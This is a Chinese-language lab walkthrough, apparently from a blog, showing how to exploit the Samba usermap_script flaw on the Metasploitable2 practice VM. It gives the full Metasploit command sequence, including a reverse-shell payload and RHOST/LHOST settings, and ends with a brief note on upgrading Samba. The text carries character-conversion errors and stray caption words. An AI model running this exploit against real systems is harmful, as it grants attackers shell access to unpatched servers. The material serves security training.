每一個操做系統都會存在各類Bug,像Windows這樣有版權的操做系統,微軟公司會快速地開發針對這些Bug或漏洞的補丁,併爲用戶提供更新。全世界有大量的漏洞研究人員會夜以繼日地發現、研究新的Bug,這些沒有公佈補丁的Bug就是所謂的Oday漏洞。因爲這種漏洞對網絡安全具備巨大威脅,所以0day漏洞也成爲黑客的最愛。實際上可以掌握0day漏洞的黑客少之又少。
微軟公司會針對發現的Bug按期發佈補丁,可是否下載更新則取決於用戶自身。安全意識薄弱的我的用戶或者中小企業常會忽略這些工做,特別是在小公司中,從補丁發佈到服務器打補丁須要數星期,雖然打補丁時會涉及機器的重啓或死機,對公司業績沒有幫助又增長了自身的工做量,可是未打補丁或補丁過時的操做系統對黑客而言是一個快樂的"天堂"。
下面就假設目標機是Metasploitable2,對Linux機器進行滲透攻擊。
Metasploitable2虛擬系統是一個特別製做的Ubuntu操做系統,主要用於安全工具測試和演示常見的漏洞攻擊。該虛擬系統兼容VMware、VirtualBox和其餘虛擬平臺, 默認只開啓一個網絡適配器而且開啓NAT和Host- Only。該工具能夠在網站https://sourceforge.net/projects/metasploitable/files/Metasploitable2/下載。
首先對Linux目標機進行掃描,收集可用的服務信息。使用Nmap掃描並查看系統開放端口和相關的應用程序,如圖所示。
安全
收集到目標機相關信息後,爲其選擇正確的Exploit和合適的Payload。從掃描結果中發現主機運行着Samba 3.x服務。Samba是在Linux和UNIX系統上實現SMB (Server Messages Block,信息服務塊)協議的一款免費軟件。SMB是一種在局域網上共享文件和打印機的通訊協議,它在局域網內使用Linux和Windows系統的機器之間提供文件及打印機等資源的共享服務。
輸入msf> search samba
命令搜索Samba的漏洞利用模塊,並選擇合適的漏洞利用模塊,如圖所示。
服務器
而後Samba服務將返回漏洞利用模塊的列表,按照各個漏洞被利用成功的相對難易度進行排序。
由於exploit/multi/samba/usermap_script被標記爲"Excellent" ,即最傑出並且時間是最新的,爲提升滲透成功率,這裏選擇此模塊進行接下來的滲透。
有關漏洞的詳細信息能夠經過以下圖所示的命令查看。
網絡
輸入如下命令便可使用該漏洞模塊工具
use exploit/multi/samba/usermap_script
而後能夠看到Metasploit命令提示符msf>會變成msf exploit(usermap_script) > 。
測試
使用以下圖所示的命令便可查看該漏洞利用模塊下可供選擇的攻擊載荷模塊,由於目標是Linux機器,所以必定要選擇Linux的攻擊載荷。
網站
這裏使用以下圖所示的命令選擇基礎的cmd/unix/reverse反向攻擊載荷模塊。
操作系統
設置被攻擊主機IP地址,命令以下所示。
msf exploit (usermap_script) > set RHOST 192.168.1.104
設置漏洞利用的端口號,命令以下所示。
msf exploit (usermap_script) > set RPORT 445
設置發動攻擊主機IP地址,命令以下所示。
msf exploit (usermap_script) > set LHOST 192.168.1.101
設置完可使用show options
命令再次確認參數是否已設置正確。
.net
設置完全部參數變量後,輸入攻擊命令exploit或者run,以下所示,發動攻擊。
msf exploit (usermap_ script) > exploit
MSF發動攻擊成功後會獲取目標主機的Shell,爲了驗證該Shell是目標主機的,能夠查詢主機名、用戶名和IP地址,並與目標主機進行對比,如圖所示。
unix
攻擊成功後,能夠看到在攻擊機和目標機之間會創建一個Shell鏈接,滲透Windows系統的過程相似,惟一的差異是選擇的漏洞利用模塊和攻擊載荷模塊不同。建議讀者多嘗試各類Exploit和Payload的組合,以加深理解。
防護方法: Samba服務漏洞發生在Samba版本3.0.20 ~ 3.0.25rc3中,當使用非默認用戶名映射腳本配置時,經過指定一個用戶名包含Shell元字符, 攻擊者能夠執行任意命令。將Samba升級到最新版本便可防護本漏洞。code